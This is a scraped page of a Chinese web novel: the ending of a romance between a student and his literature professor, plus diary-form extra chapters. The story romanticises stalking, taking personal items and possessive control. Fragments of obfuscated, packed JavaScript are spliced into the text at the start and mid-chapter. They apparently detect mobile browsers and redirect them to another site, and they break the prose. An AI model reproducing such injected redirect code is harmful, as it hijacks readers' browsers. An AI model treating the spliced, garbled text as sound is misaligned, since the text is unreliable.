l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301361|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陆知许说不出话了。 他只是抱住谢砚,把脸埋在他怀里。 两人抱了很久,直到窗外的月亮升到中天。 “知许,”谢砚突然开口,“明天开始,你就是我的合法伴侣了。” 陆知许愣了一下:“明天?” “对,”谢砚点头,“我约了明天上午九点,去民政局。” 陆知许睁大眼睛:“您……您怎么不早说?” “给你一个惊喜。”谢砚笑。 陆知许瞪着他,但眼里全是笑意。 “那今晚……”他小声说。 “今晚好好休息,”谢砚说,揉了揉他的头发,“明天还要早起。” 陆知许点点头,但又摇了摇头。 “怎么了?”谢砚问。 “今晚……”陆知许的声音越来越小,“我想和您一起睡。” 谢砚看着他红透的耳尖,笑了。 “好。”他说。 --- 第二天上午九点,民政局门口。 陆知许穿着白衬衫,谢砚穿着同款的浅蓝色衬衫,两人站在一起,像一对普通的情侣。 “紧张吗?”谢砚问。 陆知许点头:“有一点。” “我也是。”谢砚说。 陆知许惊讶地看着他:“您也会紧张?” “会,”谢砚说,“因为这是我人生中最重要的时刻。” 陆知许的心跳漏了一拍。 他握住谢砚的手,十指相扣。 “一起进去?”他问。 “一起。”谢砚点头。 两人推开门,走了进去。 一个小时后,他们拿着两本红色的结婚证,走出民政局。 阳光很好,照在红色的封面上,格外鲜艳。 陆知许翻开结婚证,看着上面的照片——两人并肩坐着,都带着浅浅的笑,看起来幸福又般配。 “谢砚。”他小声叫他的名字。 “嗯?” “以后……我们就是一家人了。” 谢砚转过头,看着他,眼里盛满了温柔。 “对,”他说,“一家人。” 陆知许笑了。 他踮起脚,在谢砚唇上印下一个吻。 “走,回家。”他说。 “好,”谢砚点头,“回家。” 两人牵着手,走向停在路边的车。 身后,民政局的大门在阳光下闪着光。 红色的结婚证被陆知许紧紧握在手里,像握着全世界最珍贵的东西。 而他知道,最珍贵的不是那张纸。 是身边的这个人。 是谢砚。 是他的爱人,他的伴侣,他的余生。 --- 晚上,谢砚的公寓——不,他们的家。 陆知许坐在沙发上,翻看着那本厚厚的相册,嘴角始终带着笑。 谢砚洗完澡出来,在他身边坐下。 “还在看?”他问。 “嗯,”陆知许点头,“我发现……您拍的角度都很好。” “那是,”谢砚说,“专业的。” 陆知许笑了。 他合上相册,靠在谢砚肩上。 “谢砚。”他叫他的名字。 “嗯?” “以后……我们会一直这样吗?” “哪样?” “这样……在一起,看照片,聊天,什么都不做,也很开心。” 谢砚沉默了几秒。 然后他说:“会。而且会比现在更好。” 陆知许抬起头,看着他。 谢砚也看着他,深褐色的眼睛里倒映着灯光,很亮,很温柔。 “因为我们会一起经历更多的事,”谢砚说,“一起看更多的风景,一起度过更多的日子。到老了,我们会有更多的照片可以看,更多的回忆可以聊。” 他顿了顿,握住陆知许的手。 “所以,这不是终点,”他说,“这只是开始。” 陆知许的眼睛开始发热。 他点点头,靠回谢砚肩上。 窗外的夜色很深。 但房间里很温暖。 两个人紧紧相依,像两株互相缠绕的藤蔓,再也分不开。 月光透过窗帘洒进来,落在他们交握的手上。 两枚戒指,在月光下闪着温润的光。 像他们的爱情。 经历过风雨,依然熠熠生辉。 经历过考验,依然坚定如初。 余生还很长。 但他们不着急。 因为他们有彼此。 有对方在身边,每一天都是最好的日子。 【全文完】 28. 番外1[番外] 楔子 陆知许后来很多次想过,如果那天下午他没有去图书馆,如果他没有贪图近路穿过报告厅门口,如果他没有听见那个声音—— 他的人生,会不会完全不同? 但人生没有如果。 那个十月的午后,阳光正好,微风不燥。他十九岁,大二,以为自己的人生会按部就班地走下去——读书,毕业,工作,结婚,生子,老去。 他不知道,在转角处,有一个人正等着他。 一个会改变他整个人生的人。 --- 第一卷:初见 【日记本001号】 时间:大二上学期,10月15日 地点:图书馆报告厅门口 今天本来只是去图书馆还书。 《中国古代文学史》的期中论文快交了,我还差最后两章没看完。室友陈宇说图书馆三楼新进了几本参考书,让我去借。 我懒得跑,但他说那几本书很难借,去晚了就没了。 我只好去了。 从宿舍到图书馆,最近的路是穿过文学院的教学楼。我走了几百遍,闭着眼睛都能走。 但今天,我停下来了。 因为报告厅门口贴着一张海报,很大,红色的底,白色的字,很显眼。 海报上写着: “叙事中的欲望结构:从《金瓶梅》到《红楼梦》” 主讲人:谢砚 时间:10月15日下午3:00 地点:图书馆报告厅 我盯着那张海报看了很久。 不是因为内容——我对学术讲座从来没什么兴趣。 是因为那张照片。 海报上印着主讲人的照片,很小,只有一寸,但足够看清五官。 很年轻。很好看。 眉眼很深,鼻梁很挺,嘴唇很薄,抿成一条线,看起来很严肃。 但不知道为什么,我觉得那双眼睛……很温柔。 像深不见底的潭水,平静,深邃,却让人想靠近。 我看了那张照片很久。 然后我低头看了一眼手机——2:55。 讲座还有五分钟开始。 我应该去还书的。 我应该去借参考书的。 我的脚却鬼使神差地迈进了报告厅。 里面已经坐满了人。大部分是女生,三三两两地交头接耳,偶尔发出压抑的笑声。我找了个最后排的角落坐下,尽量让自己不引人注目。 三点整,主讲人走上了讲台。 那一瞬间,我明白了为什么报告厅会坐满。 不是因为讲座内容。 是因为他。 他穿着深灰色的西装,白色的衬衫,没有打领带,领口解开一颗纽扣。很简单的打扮,却让人觉得……移不开眼睛。 他站在讲台后,目光扫过全场,然后开口: “各位同学下午好,我是谢砚。” 声音很低,很沉,透过音响传遍整个报告厅,像大提琴的低音。 我的心脏漏跳了一拍。 整场讲座,我什么都没听进去。 我就坐在最后一排,看着他。 看他握笔的手,修长,白皙,指节分明。 看他翻PPT的动作,不紧不慢,从容不迫。 看他偶尔低头看稿子时,睫毛垂下来,在眼睑下投出浅浅的阴影。 看他讲到某个观点时,嘴角微微扬起,露出一个很淡的笑。 那个笑,像一颗石子投进我心里,荡起一圈圈涟漪。 讲座结束时,我才发现,我的手心全是汗。 人群涌上去提问,把他围得水泄不通。我坐在最后一排,没有动。 我只是看着他。 看着他被人群包围,依然从容不迫地回答问题。 看着他在别人的簇拥下,慢慢走向后台。 看着他的背影消失在幕布后面。 然后我才发现,我的手机不知道什么时候拿了出来,屏幕还亮着。 相册里,多了一张照片。 是他站在讲台上的侧影。 这是我第一次偷拍他。 但不是最后一次。 回宿舍的路上,我的脑海里全是他。 他的声音,他的手,他的笑,他的一切。 陈宇问我书借到了吗,我说忘了。 他骂我猪脑子,我笑了笑,没说话。 晚上躺在床上,我翻来覆去睡不着。 满脑子都是他。 然后我做了一个决定—— 我要知道他是谁。 【日记本001号·续】 查到了。 谢砚,28岁,文学院副教授,剑桥大学博士毕业,主攻明清小说研究,发表论文17篇,出版专著2部,在学界被称为“最有潜力的青年学者”。 这些都是官网上能查到的。 还有一些是论坛上看到的: “谢教授的课一定要选,人帅课好不点名!” “谢教授单身!单身!单身!重要的事情说三遍!” “楼上醒醒,人家单身也轮不到你。” “谢教授的衬衫永远都是浅色系,太好看了呜呜呜” “有人知道谢教授喜欢喝什么吗?我想去咖啡厅偶遇他!” “美式,不加糖不加奶。别问我怎么知道的,我蹲了一个月。” “姐妹太拼了!” 我一条一条地看,一条一条地记。 然后我发现,我记住了很多无用的信息: 他喜欢穿浅色系的衣服,尤其是浅蓝和浅灰。 他每周三下午会在图书馆三楼靠窗的位置看书。 他喜欢喝美式,不加糖不加奶,常去文学院后面的那家咖啡厅。 他办公室在五楼502,窗户朝南,下午的时候阳光会照进来。 他住在教师公寓3号楼502室,和办公室门牌号一样。 我知道这些信息很变态。 正常人不会去记这些东西。 但我就是记住了。 像刻在脑子里一样,忘不掉。 【日记本001号】 时间:大二上学期,10月20日 地点:宿舍 今天又去听了他的课。 不是我的课——我只是去蹭课的。 他这学期开了一门研究生课程《叙事学前沿问题》,每周四下午在310教室。我查了他的课表,然后每节课都去旁听。 每次都坐在最后一排的角落,戴着口罩,低着头,假装在记笔记。 其实我的笔记上什么都没写,只有他的侧脸速写。 我画了他的轮廓,他的眉眼,他的嘴唇,他的手。 画得很丑,但我舍不得扔。 今天下课时,我走得很晚。 不是因为想多看他——是因为不敢和他对视。 我怕一对视,他就会发现我眼里的东西。 那种东西,我自己都不敢承认。 走出教学楼时,天已经黑了。 路灯亮起来,在地上投出昏黄的光圈。 我站在路灯下,抬头看着五楼那扇窗户。 502室的灯亮着,暖黄色的光,在夜色中格外温暖。 我站在那里看了很久。 然后我拿出手机,拍了一张照片。 模糊的,遥远的,只是一扇亮着灯的窗户。 但我把它存进了相册,命名为“他的窗”。 回宿舍的路上,我一直在想—— 他在做什么? 在看书?在写论文?还是在…… 想什么,我不知道。 但我知道,我在想他。 每时每刻,都在想他。 【日记本001号】 时间:大二上学期,11月3日 地点:咖啡厅 今天去他常去的那家咖啡厅了。 不是偶遇——我特意挑了他平时会去的时间。 下午三点,周三。 我坐在角落的位置,点了一杯美式,不加糖不加奶。 很苦。 但我想尝他喜欢的味道。 三点十分,他推门进来了。 穿着浅灰色的针织衫,里面是白色的衬衫领子。手里拿着一本书,看起来像是刚下课。 他走到柜台前,点了一杯美式,然后找了个靠窗的位置坐下。 我坐在角落,透过手机屏幕的反光,偷偷看他。 他翻开书,开始看。 阳光从窗户照进来,洒在他身上,给他镀上了一层金色的光晕。 他的侧脸很安静,睫毛很长,偶尔会轻轻颤动一下。 我看了他整整一个小时。 他看了一小时的书。 我也看了他一小时。 他离开时,我从他坐过的位置旁边走过。 桌上有他用过的纸巾,揉成一团,扔在烟灰缸里。 我犹豫了一下。 然后我伸手,把那团纸巾拿走了。 不是想做什么。 就是想……留个纪念。 那团纸巾现在在我抽屉里,用一个透明的小袋子装着。 我知道这很变态。 但我控制不了。 【日记本001号】 时间:大二上学期,11月15日 地点:图书馆 今天在图书馆三楼“偶遇”他了。 其实不是偶遇——我知道他每周三下午会在这里看书。 我提前一小时就来了,找了个能看到他常坐位置的地方,假装在看书。 三点整,他来了。 穿着深蓝色的衬衫,袖子挽到手肘,露出一截小臂。 他走到靠窗的位置,坐下,从包里拿出书和笔记本。 我躲在书架后面,透过书脊的缝隙看他。 他看书的样子很认真,偶尔会停下来,在笔记本上写点什么。 握笔的手指修长,骨节分明,指甲修剪得很整齐。 我看得有些出神。 然后他突然抬起头,看向我这个方向。 我吓得赶紧缩回去,心跳快得像要炸开。 他是不是看见我了? 他会不会走过来? 我该怎么办? 等了很久,没有动静。 我偷偷探出头,发现他又低头看书了。 刚才那一眼,可能只是偶然。 但我再也不敢看他了。 匆匆离开图书馆时,我的后背全是汗。 回到宿舍,我瘫在床上,大口喘着气。 陈宇问我怎么了,我说没事,就是太累了。 其实不是累,是害怕。 害怕被他发现。 害怕他看见我眼里的东西。 害怕他…… 会讨厌我。 【日记本001号】 时间:大二上学期,12月1日 地点:宿舍 今天发生了一件事。 我在教学楼的走廊里,和他擦肩而过。 就那么一瞬间。 他穿着黑色的风衣,从对面走过来,目光直视前方。 我低着头,快步走过。 但在擦肩的那一刹那,我闻到了他身上的味道。 淡淡的檀木香,混着一点咖啡的苦味。 很好闻。 好闻到我想回头追上他,再闻一次。 但我没有。 我只是站在原地,看着他离开的背影,看了很久。 那天晚上,我做了一个梦。 梦里,他站在我面前,对我笑。 那个笑,和讲座上的一模一样——很淡,但很温柔。 我伸手想碰他,但还没碰到,梦就醒了。 醒来后,我躺在床上,盯着天花板发呆。 心跳很快。 脸很烫。 我在想,我是不是…… 喜欢上他了? 不,不是喜欢。 是更深的。 是那种……看见他就心跳加速,看不见他就心神不宁的…… 喜欢。 我喜欢上了一个男人。 一个比我大八岁的男人。 我的教授。 【日记本001号】 时间:大二上学期,12月15日 地点:宿舍 我查了很多资料。 师生恋,同性恋。 两个词放在一起,就是禁忌中的禁忌。 如果被人发现,他会被停职,会被调查,甚至会被开除。 而我,会被记过,会被处分,会成为全校的笑话。 我知道我不该喜欢他。 我知道这段感情没有结果。 但我控制不了。 就像控制不了呼吸,控制不了心跳,控制不了每天想他。 今天在论坛上看到有人发帖: “谢教授今天穿的浅蓝色衬衫,太好看了,我当场去世!” 下面一堆人回复: “姐妹我也看见了!那个衬衫质地,一看就很贵!” “谢教授衣品真的绝了,每天穿什么都让人心动。” “什么时候才能让谢教授穿一次我送的衣服啊?” 我看着那些帖子,心里酸酸的。 不是生气,是嫉妒。 嫉妒她们可以光明正大地谈论他。 嫉妒她们可以肆无忌惮地喜欢他。 而我,连喜欢都不敢说出口。 只能一个人,把这些感情藏在心里。 藏在日记本里。 藏在那个只有我知道的相册里。 【日记本001号】 时间:大二上学期,12月31日 地点:宿舍 今天是今年的最后一天。 室友们都出去跨年了,我一个人在宿舍。 不是不想去,是没心情。 跨年这种日子,应该和喜欢的人一起过。 而我喜欢的人,不知道在哪里。 可能在家,可能在办公室,可能在和朋友们聚会。 但无论如何,不会和我在一起。 我坐在书桌前,翻着这一年拍的照片。 全是他的。 讲座上的,课堂上的,咖啡厅里的,图书馆里的…… 每一张,都是我一个人偷偷拍的。 每一张,都代表着我一个人的暗恋。 翻到最后,我停在一张照片上。 那是今天下午刚拍的——他从办公楼里走出来,夕阳照在他身上,给他镀上了一层金色的光。 他微微低着头,看不清表情。 但我觉得,那是我见过最美的画面。 我看着那张照片,突然想哭。 不是因为难过,是因为…… 太喜欢了。 喜欢到心疼。 喜欢到想放弃,又舍不得。 喜欢到明知道没有结果,还是放不下。 手机响了,是陈宇发来的消息: “老陆,新年快乐!明年一定要脱单!” 我笑了笑,回复: “新年快乐。” 然后我对着那张照片,小声说: “谢教授,新年快乐。” “明年,我还会继续喜欢你。” “就算你不知道,也没关系。” “只要还能看见你,就够了。” 窗外,烟花炸开,照亮了夜空。 新的一年,开始了。 而我,会继续这场一个人的暗恋。 直到…… 直到什么时候,我也不知道。 也许永远。 --- 第二卷:靠近 【日记本002号】 时间:大二下学期,3月1日 地点:宿舍 新学期开始了。 我做了个大胆的决定——选他的课。 《中国古代文学专题》,大三的必修课。 我提前一学期修完了所有学分,就为了能选这门课。 室友们都说我疯了,大三的课那么难,何必自讨苦吃。 我没解释。 只是默默地选上了课,默默地等着开学的第一天。 今天是3月1日,还有半年。 半年后,我就能坐在他的教室里,听他讲课。 不是偷偷蹭课,是光明正大地,以学生的身份。 这个认知让我整个学期都充满动力。 【日记本002号】 时间:大二下学期,5月20日 地点:图书馆 今天在图书馆遇见他了。 不是偶遇——我每周三都会来这里,等他。 三点整,他来了。 穿着浅蓝色的衬衫,手里拿着几本书。 他走到靠窗的位置,坐下,开始看书。 我坐在离他不远的地方,也假装看书。 其实我的书从头到尾没翻过一页。 我一直在偷偷看他。 看他翻书的手指,看他偶尔抬头的侧脸,看他喝水时喉结滚动的样子。 每一个动作,都让我心跳加速。 他看了两个小时的书。 我看了他两个小时。 他离开时,从我身边经过。 很近,近到我能闻到他身上的檀木香。 我的心脏快要跳出胸腔。 但他没有看我,径直走过去了。 就像我不存在一样。 我坐在那里,看着他离开的背影,心里又酸又甜。 甜的是,我离他这么近。 酸的是,他根本不知道我是谁。 对他来说,我只是一个普通的学生。 一个他永远不会注意到的陌生人。 【日记本002号】 时间:大二下学期,6月10日 地点:咖啡厅 今天又在咖啡厅遇见他了。 同样的时间,同样的位置,同样的美式。 我坐在角落,偷偷看他。 他今天看起来很累,眼下的青黑很明显,喝咖啡的时候,眉头微微蹙着。 是不是没睡好? 是不是工作太累了? 我好想走过去,问他怎么了,给他点杯热牛奶,让他好好休息。 但我不能。 我只能坐在这里,看着他,什么都做不了。 他喝完咖啡,起身离开。 经过我身边时,他突然停了一下。 我的心跳瞬间停止。 他转头看向我,目光落在我面前的咖啡杯上。 “美式?”他问。 我愣住了,大脑一片空白。 “……嗯。” 他点点头:“很苦,你习惯吗?” “还、还好……” 他没再说什么,转身离开了。 我坐在那里,盯着他离开的背影,心脏狂跳。 他和我说话了。 他主动和我说话了。 虽然只是简单的两句,但足够我开心一整天。 那天晚上,我在日记里写了三页纸。 每一页,都在回忆那两句话。 每一页,都在想,他为什么要问我? 是不是…… 注意到我了? 【日记本002号】 时间:大二下学期,6月20日 地点:宿舍 期末考试结束了。 暑假要来了。 这意味着,整整两个月,见不到他。 这个认知让我整个人都不好了。 最后一天考试结束后,我特意绕到办公楼后面,站在那棵大树下,抬头看着五楼那扇窗户。 502室的灯还亮着。 他还在。 我站在那里看了很久。 直到灯灭了,他才从楼里走出来。 穿着深灰色的T恤,手里拿着一个文件袋。 他走得很慢,像是在想事情。 我躲在树后,看着他慢慢走远,直到消失在夜色中。 然后我才发现,我的脸上全是泪。 不是难过,是舍不得。 舍不得两个月见不到他。 舍不得每天偷偷看他的日子。 舍不得…… 他。 【日记本002号】 时间:大二下学期,7月15日 地点:家 暑假太漫长了。 每天醒来的第一件事,就是看手机——看有没有他的消息。 当然没有。 他根本不知道我的存在。 更不可能给我发消息。 但我还是每天看,每天等。 等一个永远不会来的消息。 我把他的照片打印出来,贴在床头。 每天晚上睡觉前,都会看一会儿。 陈宇来我家玩,看见那些照片,吓了一跳。 “卧槽老陆,你这是追星呢?” 我没解释,只是笑笑。 他不懂。 这不是追星。 这是…… 这是爱。 一个不能说出口的爱。 【日记本002号】 时间:大二下学期,8月20日 地点:学校附近 快开学了。 我提前一周回了学校。 不是为了准备开学,是为了…… 能早点见到他。 我知道他不会这么早回来,但还是忍不住来学校附近转悠。 去他常去的咖啡厅,去他常去的图书馆,去他常走的那些路。 每走一步,都像是在靠近他一点点。 今天在咖啡厅,我坐在他常坐的位置上。 点了一杯美式,像他一样,不加糖不加奶。 很苦。 但我喝完了。 因为这是他喜欢的味道。 离开时,我在他常坐的那个位置上,用手指轻轻划过桌面。 想象着他就坐在这里。 想象着他留下的温度。 然后我离开了。 回到宿舍,我把今天的一切都记在日记里。 包括坐在他位置上的感觉。 包括想象他就在身边的感觉。 包括…… 想见他的感觉。 【日记本002号】 时间:大二下学期,8月31日 地点:宿舍 明天就开学了。 明天,我就能见到他了。 这个认知让我从早上就开始紧张。 换了三套衣服,最后还是选了最普通的那件白衬衫。 头发洗了两遍,吹了又吹,终于满意了。 对着镜子练习微笑,练习说“教授好”。 但练习了一百遍,还是觉得不够自然。 陈宇看我这样,笑得不行。 “老陆,你这是去上课还是去相亲啊?” 我没理他。 他不知道,对我来说,这就是去相亲。 去见我暗恋了一年的人。 去见他。 去靠近他。 去……让他看见我。 【日记本002号】 时间:大二下学期,9月1日 地点:宿舍 开学第一天。 我见到了他。 不是在上课的时候——是在走廊里。 我抱着新领的课本,急急忙忙往教室赶。 转过拐角,撞上了一个人。 咖啡洒了,洒在他身上,洒在我身上。 我抬起头,对上他的眼睛。 深褐色的,很平静,但好像有什么东西在流动。 他看着我,说:“没事,先上课。” 然后他帮我捡起散落的课本,递给我。 指尖碰到了。 很短暂,但很清晰。 那一刻,我的心脏几乎要跳出胸腔。 我接过课本,说了声谢谢,逃一样地跑进教室。 坐在座位上,我还在发抖。 不是因为害怕,是因为…… 太近了。 离他太近了。 近到能闻到他身上的味道,近到能看清他睫毛的弧度,近到能感觉到他的体温。 太近了。 近到让我觉得,这一年的暗恋,都值了。 【日记本002号·续】 下课的时候,他叫住了我。 让我去办公室拿教学大纲。 我去了。 他给我倒了杯牛奶,说是补充糖分。 他问了我的名字,记在了笔记本上。 他说,这学期我是课代表了。 我离开的时候,口袋里有一样东西—— 他的钢笔笔帽。 我不知道它是怎么到我口袋里的。 可能是捡书的时候不小心掉进去的。 但我没有还给他。 我把它带回了宿舍,藏在了抽屉最深处。 那是我拥有的,第一件属于他的东西。 那天晚上,我把笔帽拿出来看了很多次。 月光下,银色的金属闪着温润的光。 上面刻着一行小字: To Y.Xie, Cambridge, 2019. Y.Xie。 谢砚。 他的名字,刻在冰冷的金属上。 但在我手里,它是温暖的。 因为这是我离他最近的一次。 近到能碰触他的东西。 近到能拥有他的一部分。 我知道这很变态。 但我控制不了。 也不想控制。 因为这是我唯一能拥有的,关于他的东西。 唯一能证明,他真实存在的东西。 唯一能证明,我不是在做梦的东西。 【日记本002号】 时间:大二下学期,9月1日,深夜 睡不着。 满脑子都是他。 他的眼睛,他的手,他的声音,他给我牛奶时说的话。 还有那个笔帽。 现在就在我的枕头下,贴着我的脸颊。 冰凉的金属,慢慢变得温暖。 像他的体温。 我在想,明天还能见到他吗? 后天呢? 大后天呢? 这学期还有好多课,好多机会。 只要我是课代表,就能经常去办公室。 就能经常见到他。 就能…… 离他更近一点。 想到这里,我突然想哭。 不是难过,是…… 太开心了。 开心到想哭。 开心到不敢相信这是真的。 开心到害怕这是一场梦,醒来就什么都没有了。 但枕头下的笔帽告诉我,这不是梦。 是真的。 他真的和我说话了。 他真的记住了我的名字。 他真的让我做了课代表。 这一切,都是真的。 我闭上眼睛,在心里默念: 谢砚。 谢砚。 谢砚。 念了很多遍。 每念一遍,都像是在确认—— 确认他存在。 确认我在他身边。 确认我不是在做梦。 窗外的月亮很亮。 月光洒进来,落在我的床上,落在我手里的笔帽上。 银色的金属反射着月光,像一颗小小的星星。 属于我的星星。 属于我的…… 月亮。 --- 第三卷:沉沦 【日记本003号】 时间:大三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他和一个女老师在一起,有说有笑。 她碰了他的肩膀,他没有躲开。 我的心很疼。 疼得喘不过气。 我坐在角落,点了一杯美式,很苦。 比他给我的任何一杯都苦。 我看了他二十分钟。 他笑了三次。 每一次,都像刀子一样扎在我心上。 我知道我没有资格吃醋。 知道他可以和任何人说话,对任何人笑。 但我还是难受。 难受得要死。 晚上他给我发消息,说明天下午三点,办公室见。 我看着那行字,又想哭又想笑。 他不知道我在咖啡厅。 不知道我看见他和别人说笑。 不知道我的心有多疼。 但他知道找我。 知道约我见面。 这就够了。 真的,够了。 【日记本003号】 时间:大三上学期,9月13日 地点:办公室 今天在办公室,他问我为什么看他的手。 我说好看。 他笑了。 没有生气,没有追问,只是笑了。 然后他继续给我讲课,像什么都没发生过。 但我心里已经炸开了。 他知道我在看他。 知道我喜欢看他的手。 而且他……好像不讨厌。 离开的时候,他把保温杯还给我,说咖啡很好喝。 还说,下周见。 我把保温杯抱在怀里,一路走回宿舍。 那上面还有他手心的温度。 暖暖的。 像他看我的眼神。 【日记本003号】 时间:大三上学期,9月14日 地点:地下室 今天租了个地下室。 很小,很暗,但很便宜。 我把这一年收藏的东西都搬过来了。 照片,视频,笔记,还有他给的东西—— 笔帽,银杏叶,咖啡厅收据,几根头发,一块便签纸。 现在,它们都放在一个玻璃柜里。 整整齐齐,像博物馆的展品。 我看着那个柜子,心里又满足又害怕。 满足的是,我终于给它们找了个家。 害怕的是,这些东西证明我有多变态。 正常人是不会收藏这些东西的。 正常人不会跟踪教授,不会捡教授掉落的头发,不会偷拍教授的窗户。 我不是正常人。 我是变态。 但我不想改。 因为只有这样,我才能离他近一点。 只有这样,我才能拥有他。 哪怕只是碎片。 【日记本003号】 时间:大三上学期,9月18日 地点:办公室 今天在办公室喝茶。 他泡了龙井,很香。 我问他为什么对我这么好。 他说,你对学生都这样吗? 他愣了一下,然后说,我对学生都这样。 但后面又说,你和别的学生不太一样。 他说,你很认真,很好学,提问也很有深度。 他说,遇到这样的学生,多花点时间是值得的。 他说,我期待你的问题。 期待。 他说期待。 我把这两个字记在日记里,画了很多圈。 期待。 他期待我。 这是不是说明,我在他心里,有一点特别? 我不知道。 但我希望是。 【日记本003号】 时间:大三上学期,9月20日 地点:办公室 今天又喝茶了。 大红袍,很香,很珍贵。 他说,茶就是要有人喝才有意义。一个人喝,再好的茶也没味道。 他把茶叶罐给了我。 说是他一个人喝不完。 但我看见那个罐子是新的,才拆封。 他是特意买的。 特意给我的。 我把罐子抱在怀里,一路走回地下室。 放在玻璃柜里,和笔帽放在一起。 现在我有两样他的东西了。 不,是两样他主动给我的东西。 这不一样。 这是他自己愿意给的。 是他想给我的。 我看着那个茶叶罐,看了很久。 然后我做了一个决定—— 我要告诉他。 告诉他我喜欢他。 不管结果如何,我都要告诉他。 因为我不想再等了。 不想再一个人偷偷喜欢他。 不想再看着他和别人说笑,只能躲在角落。 我要让他知道。 让他知道,有一个叫陆知许的人,喜欢他很久了。 从第一次见到他,就喜欢了。 一直到现在,越来越喜欢。 喜欢到快要爆炸了。 喜欢到必须说出来。 【日记本003号】 时间:大三上学期,9月21日 地点:宿舍 想了一晚上,还是不敢说。 害怕。 害怕他拒绝,害怕他讨厌我,害怕他再也不理我。 更害怕的是,万一他不讨厌,万一他…… 我不敢想。 万一他只是把我当学生,万一他只是因为我是课代表才对我好…… 那我该怎么办? 我会失去一切。 连偷偷喜欢他的资格都没有了。 所以我不敢说。 只能继续等。 等他给我更多暗示,等他能接受我的感情。 等他…… 也喜欢我。 --- 第四卷:告白 【日记本004号】 时间:大三上学期,10月15日 地点:办公室 今天是我第一次见到他的一周年。 我特意穿了和他第一次见面那天一样的衣服。 白衬衫,黑色长裤。 他好像没注意到。 还是像往常一样,给我泡茶,给我讲论文。 但我注意到了一件事—— 他今天一直在看我。 不是平时那种随意的看,是认真的、专注的看。 每次我抬头,都撞上他的目光。 然后他很快移开,假装在看文件。 但我看见了。 他耳朵红了。 很淡,但我看见了。 这是不是说明…… 他在看我? 也在想我? 我不知道。 但我知道,我的心脏跳得很快。 快到要从胸腔里跳出来。 离开的时候,他叫住我。 “知许。”他说。 第一次叫我名字。 不是“陆知许”,不是“课代表”,是“知许”。 我愣住了。 他走过来,站在我面前,很近。 近到我能闻到他身上的檀木香,能看清他睫毛的弧度。 “一周年快乐。”他说。 我的大脑一片空白。 他知道。 他知道今天是什么日子。 知道这是我一周年。 “……您怎么知道?”我的声音在抖。 他笑了。 从抽屉里拿出一个本子,翻开。 里面是我这一年写的东西——不是日记,是我随手写的关于他的一些话。 “你上次落在这里的。”他说。 我愣住了。 那是我的草稿本,上面写满了关于他的碎碎念。 我以为丢了,找了很久。 原来在他这里。 他一直在看。 一直在等。 等我主动说出来。 我抬起头,看着他的眼睛。 那双深褐色的眼睛,正温柔地看着我。 像月光。 像他。 “谢砚。”我第一次叫他的名字。 他愣了一下,然后笑了。 “嗯。”他说。 “我喜欢你。”我说。 很轻,但很清晰。 他终于听到了。 我等了一年,终于说出口了。 他看着我,眼里有什么东西在流动。 很深,很沉,像要把我吸进去。 然后他踮起脚,在我嘴角印下一个吻。 很轻,但很真实。 “我也喜欢你。”他说,“从你撞翻我的咖啡开始。” 我的眼泪掉下来了。 原来他也在看我。 原来他也在等我。 原来这一年,不是只有我一个人在偷偷喜欢。 他也在。 一直在。 【日记本004号·续】 那天晚上,我们在办公室里待了很久。 他给我看他收藏的我的照片。 从第一次讲座开始,到我当课代表之后。 每一张都有日期,都有备注。 原来他比我还变态。 原来我们是一样的人。 我看着那些照片,又想哭又想笑。 “您才是真的变态。”我说。 他笑了:“对,所以我们是绝配。” 然后他吻了我。 很用力,很深入。 像是要把这一年的错过都补回来。 我闭上眼睛,回应着他。 心里只有一个念头—— 我终于等到他了。 终于。 --- 尾声 【日记本004号】 时间:大三上学期,10月16日 地点:宿舍 昨晚没睡着。 今天也没睡着。 满脑子都是他。 他的吻,他的话,他的笑。 他说喜欢我。 他说从第一次见面就喜欢我。 原来我们都在偷偷喜欢对方。 原来我们都在等对方开口。 如果我不说,他会说吗? 他说会。 他说再等一段时间,如果我不说,他就说。 但他知道我会说。 因为他也在我眼里,看到了同样的东西。 那种东西,叫喜欢。 叫爱。 叫忍不住想靠近。 陈宇问我为什么一直笑。 我说没什么。 他不懂。 我有他了。 有谢砚了。 那个我想了一年的人,现在是我的了。 这种感觉,比任何事都开心。 比考试满分开心,比拿奖学金开心,比…… 比任何事都开心。 因为是他。 是谢砚。 是我的月亮。 终于,落在我的手心了。 29. 番外2[番外] 楔子 我叫谢砚。 二十八岁,A大文学院副教授,剑桥博士毕业,发表论文十七篇,出版专著两部。 在别人眼里,我是高岭之花,是学术新星,是无数学生仰慕的对象。 但只有我自己知道,我是什么样的人。 我偏执,占有欲强,喜欢把在意的人或事牢牢控制在手心。 我享受被依赖的感觉,享受被人需要的感觉,享受看着某个人因为我而脸红心跳的感觉。 这种性格,在心理学上有个名字—— 病娇。 我一直以为自己会这样孤独地过一辈子。 找一个合适的伴侣,保持合适的距离,过合适的日子。 直到那天。 直到那个少年撞翻我的咖啡。 一切,都变了。 --- 第一卷:初见 【黑色笔记本001号】 时间:9月10日 地点:办公室 今天开学。 第一堂课,我提前十分钟到教室。 刚推开门,一个人撞进我怀里。 咖啡洒了,洒在我身上,也洒在他身上。 白色的衬衫,深褐色的咖啡渍,从胸口蔓延到腰际。 他抬起头,我看见了一双眼睛。 很漂亮的眼睛。 眼尾微微下垂,睫毛很长,看人的时候带着一种无辜的、小动物般的脆弱感。 此刻那双眼睛里蓄满了水光,在晨光下湿漉漉的。 “对不起教授!我不是故意的!” 他的声音在颤抖,指尖也在颤抖。 像只受惊的兔子。 我说没事,让他先进去上课。 整堂课,我都在想那双眼睛。 下课的时候,我去办公室,换掉了那件被毁掉的衬衫。 本来应该生气的。那件衬衫很贵,是我最喜欢的牌子。 但我不生气。 反而…… 有点高兴。 因为我记住他了。 记住了那双湿漉漉的眼睛,记住了他颤抖的声音,记住了他白衬衫下若隐若现的锁骨。 他叫陆知许。 我查了档案,大三,成绩很好,没有任何违纪记录。 很乖的学生。 但那双眼睛,不乖。 那里面藏着东西。 我不知道是什么,但我想知道。 下午,他来了。 说是来拿教学大纲。 